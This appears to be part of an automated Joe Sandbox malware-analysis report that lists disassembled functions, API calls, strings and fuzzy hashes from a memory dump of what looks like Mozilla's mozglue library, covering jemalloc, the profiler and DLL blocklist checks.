GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C53572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C535748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C535761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C53577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C535793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C5357A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C5357BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C5357D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C5357EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C5357FF

Strings

LoadIconW, xrefs: 6C53575B
GetThreadDpiAwarenessContext, xrefs: 6C53562D
GetMonitorInfoW, xrefs: 6C5357A2
StretchDIBits, xrefs: 6C5357CC
gdi32, xrefs: 6C53560A
ShowWindow, xrefs: 6C5356DE
SetWindowPos, xrefs: 6C5356F7
GetSystemMetricsForDpi, xrefs: 6C535677
LoadCursorW, xrefs: 6C535774
MonitorFromWindow, xrefs: 6C53578D
user32, xrefs: 6C535601
ReleaseDC, xrefs: 6C535742
GetWindowDC, xrefs: 6C535710
CreateSolidBrush, xrefs: 6C5357E4
FillRect, xrefs: 6C535729
CreateWindowExW, xrefs: 6C5356C5
AreDpiAwarenessContextsEqual, xrefs: 6C535637
SetWindowLongPtrW, xrefs: 6C5357B7
DeleteObject, xrefs: 6C5357F9
GetDpiForWindow, xrefs: 6C535690
RegisterClassW, xrefs: 6C5356AC
EnableNonClientDpiScaling, xrefs: 6C535666

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 33ce288e11265be5b3dd01dd23bc8a70f0c6b52c198f0c7b914ad32396ba7247
Instruction ID: 796edcc5dd6f2a835eb140c545e75888e6ff49fd23311c8afd15b90329621664
Opcode Fuzzy Hash: 33ce288e11265be5b3dd01dd23bc8a70f0c6b52c198f0c7b914ad32396ba7247
Instruction Fuzzy Hash: B95187707013139BDB01AF359D489277BF8AB072457E66526ED56E2A02FF74C900CF68

Function 6C5334A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C53355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5335BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5335E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C53363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5336CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C53373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C53378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5338BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5339EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533EE2

Part of subcall function 6C536180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C5361DD
Part of subcall function 6C536180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C53622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5340F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C53412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C534157

Part of subcall function 6C536180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C536250
Part of subcall function 6C536180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C536292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C53441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C534448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C53484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C534863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C534878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C534896
free.MOZGLUE ref: 6C53489F

Strings

, xrefs: 6C534CD2

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: f8906cf3954d80425aadfa39100a4cf96d497bf7cdfc6bbf7f8b243ac87d62e6
Instruction ID: 1bc7fa6fb82e0900ce15ae0d9c3ca598bca0578860ba7636ef2964d95a4733b6
Opcode Fuzzy Hash: f8906cf3954d80425aadfa39100a4cf96d497bf7cdfc6bbf7f8b243ac87d62e6
Instruction Fuzzy Hash: F5F23B74908B80CFC725CF28C48469AFBF1BFC9358F518A5ED99997711DB329886CB42

Function 6C51F070 Relevance: 59.9, APIs: 30, Strings: 4, Instructions: 412
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C51F09B

Part of subcall function 6C4F5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5B85
Part of subcall function 6C4F5B50: EnterCriticalSection.KERNEL32(6C55F688,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5B90
Part of subcall function 6C4F5B50: LeaveCriticalSection.KERNEL32(6C55F688,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5BD8
Part of subcall function 6C4F5B50: GetTickCount64.KERNEL32 ref: 6C4F5BE4

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C51F0AC

Part of subcall function 6C4F5C50: GetTickCount64.KERNEL32 ref: 6C4F5D40
Part of subcall function 6C4F5C50: EnterCriticalSection.KERNEL32(6C55F688), ref: 6C4F5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C51F0BE

Part of subcall function 6C4F5C50: __aulldiv.LIBCMT ref: 6C4F5DB4
Part of subcall function 6C4F5C50: LeaveCriticalSection.KERNEL32(6C55F688), ref: 6C4F5DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C51F155
GetCurrentThreadId.KERNEL32 ref: 6C51F1E0
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F1ED
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F212
GetCurrentThreadId.KERNEL32 ref: 6C51F229
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51F231
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C51F248
GetCurrentThreadId.KERNEL32 ref: 6C51F2AE
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F2BB
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F2F8

Part of subcall function 6C50CBE8: GetCurrentProcess.KERNEL32(?,6C4D31A7), ref: 6C50CBF1
Part of subcall function 6C50CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4D31A7), ref: 6C50CBFA

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C51F350
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F35D
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F381
GetCurrentThreadId.KERNEL32 ref: 6C51F398
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51F3A0
GetCurrentThreadId.KERNEL32 ref: 6C51F489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51F491

Part of subcall function 6C5194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5194EE
Part of subcall function 6C5194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C519508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C51F3CF

Part of subcall function 6C51F070: GetCurrentThreadId.KERNEL32 ref: 6C51F440
Part of subcall function 6C51F070: AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F44D
Part of subcall function 6C51F070: ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F472

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C51F4A8
GetCurrentThreadId.KERNEL32 ref: 6C51F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51F561
GetCurrentThreadId.KERNEL32 ref: 6C51F577
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F585
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F5A3

Strings

[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C51F56A
[I %d/%d] profiler_resume_sampling, xrefs: 6C51F499
[I %d/%d] profiler_pause_sampling, xrefs: 6C51F3A8
[I %d/%d] profiler_resume, xrefs: 6C51F239

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CurrentExclusiveLock$Thread$AcquireRelease$CriticalSectionTime_getpid$?profiler_time@baseprofiler@mozilla@@getenv$Count64EnterLeaveProcessStampTickV01@@Value@mozilla@@$BaseCounterDurationInit_thread_footerNow@PerformancePlatformQuerySeconds@Stamp@mozilla@@TerminateUtils@mozilla@@V12@___acrt_iob_func__aulldiv__stdio_common_vfprintf
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 565197838-2840072211
Opcode ID: 039f4c1515c243ab2e6bc757762e018cb2ef2a988cfc9b87e9ecdf292328b44c
Instruction ID: fd6dab33ed8b61e9c747b642594b87669d17ff968bec34696eae29bed4dfd091
Opcode Fuzzy Hash: 039f4c1515c243ab2e6bc757762e018cb2ef2a988cfc9b87e9ecdf292328b44c
Instruction Fuzzy Hash: BBD1E635708204DFEB00EF64DC487AA77F5EB86328F95471AE95983F81DB715804C7AA

Function 6C4E64C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C4E64DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C4E64F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C4E6505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C4E6518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C4E652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C4E671C
GetCurrentProcess.KERNEL32 ref: 6C4E6724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C4E672F
GetCurrentProcess.KERNEL32 ref: 6C4E6759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C4E6764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C4E6A80
GetSystemInfo.KERNEL32(?), ref: 6C4E6ABE
__Init_thread_footer.LIBCMT ref: 6C4E6AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4E6AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4E6AF7

Strings

user32.dll, xrefs: 6C4E6526
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C4E6798
detoured.dll, xrefs: 6C4E64DA
nvd3d9wrap.dll, xrefs: 6C4E6500
_etoured.dll, xrefs: 6C4E64ED
nvdxgiwrap.dll, xrefs: 6C4E6513

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 0996e2b58a35cd35b3f9ccf41955014500db403385195c78dd629c75860e92fd
Instruction ID: 8e15aec114cd7d92f2b7387e684a5b0eab4d37ea80df763b28c2490418ce793b
Opcode Fuzzy Hash: 0996e2b58a35cd35b3f9ccf41955014500db403385195c78dd629c75860e92fd
Instruction Fuzzy Hash: BCF1D070E0522D8FDB20DF24CC48FDAB7B5AF4A31AF164299D919A3741D731AA85CF90

Function 6C4FD850 Relevance: 48.4, APIs: 21, Strings: 6, Instructions: 1109COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C4FD904
LeaveCriticalSection.KERNEL32(?), ref: 6C4FD971
memset.VCRUNTIME140(?,00000000,?), ref: 6C4FD97B
LeaveCriticalSection.KERNEL32(?), ref: 6C4FE2E3
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C4FE2E9
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C4FE308
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C4FE315
AcquireSRWLockExclusive.KERNEL32(6C55E804), ref: 6C4FE37C
GetSystemInfo.KERNEL32(?), ref: 6C4FE3C7
__Init_thread_footer.LIBCMT ref: 6C4FE3DA
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C55E810,00000040), ref: 6C4FE404
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E7B8,00001388), ref: 6C4FE46D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E744,00001388), ref: 6C4FE483
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E784,00001388), ref: 6C4FE4A9
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E7DC,00001388), ref: 6C4FE4CA
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E768,00001388), ref: 6C4FE50C
memset.VCRUNTIME140(00000000,00000000,00004000), ref: 6C4FE52E
ReleaseSRWLockExclusive.KERNEL32(6C55E804), ref: 6C4FE54F

Part of subcall function 6C4ED960: EnterCriticalSection.KERNEL32(?), ref: 6C4ED999
Part of subcall function 6C4ED960: EnterCriticalSection.KERNEL32(6C55E7B8), ref: 6C4EDA13

Strings

MOZ_CRASH(), xrefs: 6C4FE62B
Compile-time page size does not divide the runtime one., xrefs: 6C4FE621
MALLOC_OPTIONS, xrefs: 6C4FE3FF
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C4FE560, 6C4FE58A, 6C4FE5A5
: (malloc) Unsupported character in malloc options: ', xrefs: 6C4FE6DD
<jemalloc>, xrefs: 6C4FE61C, 6C4FE6CC

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$CountInitializeSpin$Enter$ExclusiveK@1@LeaveLockMaybe@_RandomUint64@mozilla@@memset$AcquireEnvironmentInfoInit_thread_footerReleaseSystemVariable_errno
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 919329573-429003945
Opcode ID: f15ea4b2ca4df94ad0623e75e63a7032fa67e9548d35138f3dc26146068e605a
Instruction ID: 2fbd2fec9a55deed0d6657ab91d470d3e08f6b48ed2f1841a27f281b1482fb45
Opcode Fuzzy Hash: f15ea4b2ca4df94ad0623e75e63a7032fa67e9548d35138f3dc26146068e605a
Instruction Fuzzy Hash: C0929A71A056018FD714CF28C980F15BBE1BFC6729F2A866DE8698B791D375E842CBC1

Function 6C53C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C53C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C53C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C53C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C53C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C53C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C53CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C53CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C53DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C53DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C53DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C53DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C53DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C53E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C53E432
memcpy.VCRUNTIME140(?,?,?), ref: 6C53E472

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 2cdfb1ead994bd1fed14c2ddd2b557854a23ff3c887f10fbc81134bb95c135ad
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 7933A171E0422ACFCB04CF98C8806EDBBF2FF89310F194669D959AB755E731A945CB90

Function 6C4FED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C4FEE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C4FEFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C501695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5016B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C501770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C501A3E

Strings

~qMl, xrefs: 6C4FED13
~qMl, xrefs: 6C4FED10

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~qMl$~qMl
API String ID: 3693777188-255395400
Opcode ID: 91d0e402af636af1688347fce1a27a29c16bddb1bd348218f0baa43af5b74011
Instruction ID: d6d4ad9df4256fbd43cd50f5440639ace5ed5b55fa5434d5de5cd44db3d29673
Opcode Fuzzy Hash: 91d0e402af636af1688347fce1a27a29c16bddb1bd348218f0baa43af5b74011
Instruction Fuzzy Hash: 29B30871E05219CFDB14CFA8C890A9DB7B2BF89304F2582A9D459EB745D730AD86CF90

Function 6C4EFD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55E7B8), ref: 6C4EFF81
LeaveCriticalSection.KERNEL32(6C55E7B8), ref: 6C4F022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C4F0240
EnterCriticalSection.KERNEL32(6C55E768), ref: 6C4F025B
LeaveCriticalSection.KERNEL32(6C55E768), ref: 6C4F027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C4EFE99, 6C4EFEB7, 6C4EFED3, 6C4F0DB8, 6C4F0DD3, 6C4F19B4
: (malloc) Error in VirtualFree(), xrefs: 6C4F0D67, 6C4F0D7B, 6C4F0DAC
<jemalloc>, xrefs: 6C4F0D62, 6C4F0D76, 6C4F0DA7

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 545a84042b49a2d74c7c87586871a4b4a80912a53417c34263e4c0def9ce0384
Instruction ID: 68c8dab6d5d5f8ea6cf21b829ba500b256dfabe0fa02d160ead08536d2f0a6f5
Opcode Fuzzy Hash: 545a84042b49a2d74c7c87586871a4b4a80912a53417c34263e4c0def9ce0384
Instruction Fuzzy Hash: B6C26B71A057418FD714CF28C980F16BBE1AFC9328F29C66DE8698B795D771E842CB81

Function 6C53E680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C53E811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C53EAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C53EBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C53EEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C53F223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C53F322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C540E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C540E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C540EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C540ED4

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: d6e2b9523cc9571820f444ee461347fbacdda833adbe06eb5854329938694a34
Instruction ID: 077e0eba54e88c49933abc04fe1b5042058d6b49d945e901388225da02ebb5b4
Opcode Fuzzy Hash: d6e2b9523cc9571820f444ee461347fbacdda833adbe06eb5854329938694a34
Instruction Fuzzy Hash: 3B637F71E0025ACFCB04CFA8C8906DDF7B2FF99310F298669D859AB755E730A945CB90

Function 6C513E50 Relevance: 28.8, APIs: 13, Strings: 3, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C537770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(}>Ql,?,?,?,6C513E7D,?,?), ref: 6C53777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C513F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C513F5C
VerSetConditionMask.NTDLL ref: 6C513F8D
VerSetConditionMask.NTDLL ref: 6C513F99
VerSetConditionMask.NTDLL ref: 6C513FA0
VerSetConditionMask.NTDLL ref: 6C513FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C513FB4

Strings

nvinit.dll, xrefs: 6C514479
C>Ql, xrefs: 6C513E93
nvd3d9wrap.dll, xrefs: 6C514466

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

